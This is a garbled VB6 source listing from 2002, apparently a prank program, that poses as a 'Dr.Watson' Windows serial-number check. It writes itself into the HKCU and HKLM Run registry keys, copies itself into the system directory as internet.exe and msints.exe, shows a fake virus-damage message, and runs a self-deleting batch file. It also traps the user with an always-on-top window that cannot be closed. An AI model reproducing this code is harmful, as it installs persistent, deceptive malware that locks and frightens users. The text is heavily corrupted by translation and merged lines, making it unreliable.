This program is written in 2002.4.1. You should know what day, the original idea is to associate the program with TXT, but there is no time to modify it. The program is almost the same as the last "Identification of your Windows is genuine or pirated", but this can be used in 2K / XP :)
VERSION 5.00Begin VB.Form frmMain BorderStyle = 3 'Fixed Dialog Caption = "Dr.Watson" ClientHeight = 2190 ClientLeft = 45 ClientTop = 330 ClientWidth = 6120 Icon = "frmMain.frx": 0000 LinkTopic = "Form1" MaxButton = 0' false MinButton = 0 'false ScaleHeight = 2190 ScaleWidth = 6120 ShowInTaskbar = 0' false StartUpPosition = 1 'CenterOwner Begin VB.Frame Frame BorderStyle = 0' None Caption = "Frame1" Height = 2175 Left = 0 TabIndex = 0 Top = 0 Width = 6135 begin vb.frame frame2 border = 0 'none caption = "frame2" height = 1695 left = 4560 TabINDEX = 11 TOP = 1680 width = 4575 Begin VB.Label Labe L3 CAPTION = "Note: If Dr.Watson detects the entered serial number error, the previous step will be automatically returned.
"Height = 435 left = 0 TabINDEX = 14 TOP = 720 width = 4485 End begin vb.label label2 autosize = -1 'true caption =" is verifying the correctness of the serial number, please wait ... "Height = 195 Left = 720 TabINDEX = 13 TOP = 1320 width = 2835 end begin vb.label label1 caption = "Is the verification serial number correct, this process may take a minute time while it may cause a computer to stop responding.
"Height = 375 Left = 0 TabIndex = 12 Top = 240 Width = 4575 End End Begin VB.Frame Frame1 BorderStyle = 0 'None Caption =" Frame1 "Height = 1935 Left = -2640 TabIndex = 2 Top = 1200 Width = 4695 Begin VB.TextBox txtBox Height = 375 Index = 4 Left = 3720 TabIndex = 8 Top = 1080 Width = 615 End Begin VB.TextBox txtBox Height = 375 Index = 3 Left = 2880 TabIndex = 7 Top = 1080 Width = 615 End Begin VB. Textbox TxtBox Height = 375 Index = 2 Left = 2040 TabIndex = 6 Top = 1080 Width = 615 End Begin VB.TextBox txtBox Height = 375 Index = 1 Left = 1200 TabIndex = 5 Top = 1080 Width = 615 End Begin VB.TextBox txtBox Height = 375 INDEX =
0 Left = 360 TabIndex = 4 Top = 1080 Width = 615 End Begin VB.CommandButton cmdSure Caption = "OK (& O)" Height = 375 Left = 3240 TabIndex = 3 Top = 1560 Width = 1095 End Begin VB.Label lblSN AutoSize = -1 'True Caption = "Please enter the correct serial number:" BeginProperty Font Name = "MS Sans Serif" Size = 9.75 Charset = 0 Weight = 400 Underline = 0' False Italic = 0 'False Strikethrough = 0' False EndProperty Height = 240 left = 0 TabINDEX = 10 TOP = 720 width = 1800 End Begin VB.Label LBLTIPS CAPTION = "Note: Dr.Watson detects illegal Windows serial numbers, you can find the correct serial number in the randomly attached manual, or contact your dealer.
"Height = 675 Left = 0 TabIndex = 9 Top = 0 Width = 4785 End End Begin VB.PictureBox Picture1 BorderStyle = 0 'None Height = 495 Left = 240 Picture =" frmMain.frx ": 000C ScaleHeight = 495 ScaleWidth = 495 TabIndex = 1 Top = 240 Width = 495 End EndEndAttribute VB_Name = "frmMain" Attribute VB_GlobalNameSpace = FalseAttribute VB_Creatable = FalseAttribute VB_PredeclaredId = TrueAttribute VB_Exposed = False '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' 'This program is for reference only, if any losses I am not responsible.' 'OICQ: 102490 'E-mail: skydg@21cn.com' 'Home: http://www.skydg.net' '' '' '' '' '' '' '' '' ' '' '' '' '' '' '' '' '' '' '' '' 'OPT Ion expllicit
'Reading and writing registry Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As LongPrivate Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long ) As LongPrivate Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As LongPrivate Const HKEY_CURRENT_USER = & H80000001PRIVATE const hkey_local_machine = & h80000002private const reg_sz = 1
'Forms Top Private Declare Function SetWindowPos Lib "User32" (Byval HwndInsertAfter As Long, Byval X As Long, BYVAL Y, BYVAL CX As Long, Byval Cy As Long, BYVAL WFLAGS AS Long) As long
Private const hwnd_topmost = -1
'Find system directory Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As LongPrivate Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long AS Long
Private const Max_path = 260
'Removed Close button Private Declare Function GetSystemMenu Lib "User32" (ByVal hwnd As Long, ByVal bRevert As Long) As LongPrivate Declare Function RemoveMenu Lib "User32" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long) As LongPrivate Declare Function DrawmenuBar LIB "User 32" (Byval HWnd As Long) As LongPrivate Declare Function GetMenuItemcount LIB "User32" (Byval HMENU As Long) As long
Private const mf_byposition = & h400 & private const mf_disabled = & h2 & dim exitbutton as boolean
'Acquisition windows directory Function GetWinPath () Dim strFolder As String Dim lngResult As Long strFolder = String (MAX_PATH, 0) lngResult = GetWindowsDirectory (strFolder, MAX_PATH) If lngResult <> 0 Then GetWinPath = Left (strFolder, InStr (strFolder, Chr ( 0) - 1) else getwinpath = "" end ifend function
'Acquisition system directory Function GetSystemPath () Dim strFolder As String Dim lngResult As Long strFolder = String (MAX_PATH, 0) lngResult = GetSystemDirectory (strFolder, MAX_PATH) If lngResult <> 0 Then GetSystemPath = Left (strFolder, InStr (strFolder, Chr ( 0)) - 1) Else getSystemPath = "" "End IFEND FUNCTION
'Document exists Function FileExists (filename as string) AS INTEGERON ERROR RESUME NEXT DIM I AS INTEGER I = LEN (DIR $ (filename)) if Err or i = 0 Then FileExists = false else fileexists = trueEnd Function
'Time N as Single DIM TM1 AS SINGLE, TM2 AS SINGLE TM1 = Timer Do TM2 = Timer IF TM2
'Close button removed Private Sub DisableX (Frm As Form) Dim hMenu As Long, nCount As Long hMenu = GetSystemMenu (Frm.hwnd, 0) nCount = GetMenuItemCount (hMenu) Call RemoveMenu (hMenu, nCount - 1, MF_DISABLED Or MF_BYPOSITION) DrawMenuBar FRM.HWNDEND SUB
Private Sub Form_Load () On Error Resume Next Dim mePath As String Dim hKey As Long Dim strCmd As String Dim strRunCmd As String mePath = App.Path If Right (mePath, 1) <> "/" Then mePath = mePath & "/" If App.PrevInstance Then End 'written to the registry strRunCmd = "internet.exe" Call RegCreateKey (HKEY_CURRENT_USER, "Software / Microsoft / Windows / CurrentVersion / Run", hKey) Call RegSetValueEx (hKey, "system", 0 &, REG_SZ, ByVal strRunCmd, Len (strRunCmd) 1) Call RegCloseKey (hKey) strRunCmd = "msints.exe" Call RegCreateKey (HKEY_LOCAL_MACHINE, "Software / Microsoft / Windows / CurrentVersion / Run", hKey) Call RegSetValueEx (hKey, "MsIDE", 0 &, Reg_SZ, ByVal Struncmd, Len (Struncmd) 1) Call Regclosekey (HKEY)
'Replicate itself Dim SourceFile, DestinationFile If FileExists (GetSystemPath & "/internet.exe") = 0 Then SourceFile = mePath & App.EXEName & ".exe" DestinationFile = GetSystemPath & "/internet.exe" FileCopy SourceFile, DestinationFile SourceFile = MEPATH & APP.EXENAME & ".exe" destinationfile = getSystemPath & "/msints.exe" filecopy sourcefile, destinationFile Endiff "checkpage if IF ucase $ (app.path) <> ucase $ (getsystempath) of system directory MsgBox "program code is incomplete or error, the program may have been damaged by virus.", Vbokonly open getwinpath & "@echo off" print # 1, "@echo off" print # 1, "DIR "& GetSystemPath &" / W "Print # 1," del "& mepath & app.exename &" .exe "Print # 1," DEL "& getWinPath &" /killme.bat "Close # 1 shell" killme.bat ", VBHide End End IF 'Backup Process IF Ucase $ (app.exename &" .exe ") = ucase $ (" msints.exe ") Then end51.top = 120 frame1.Left = 1080 frame2.top = 120 Frame2.Left = 1080 Frame2.Visible = False Call DisableX (Me) 'always on top form SetWindowPos Me.hwnd, HWND_TOPMOST, Me.Left / Screen.TwipsPerPixelX, Me.Top / Screen.TwipsPerPixelY, Me.Width / Screen .Twipsperpixelx, me.height / screen.twipsperpixely, 0nd subsprivate suborm_resize () 'program is minimized to return to the initial state if me.windowState = 1 Then me.windowState = 0nd Sub
Private Sub Form_Unload (Cancel As Integer) 'prohibited program exits If Not ExitButton Then Cancel = TrueEnd SubPrivate Sub cmdSure_Click () Frame1.Visible = False Frame2.Visible = True delay 30 Frame1.Visible = True Frame2.Visible = FalseEnd Sub
Private sub label2_click () Endend Sub
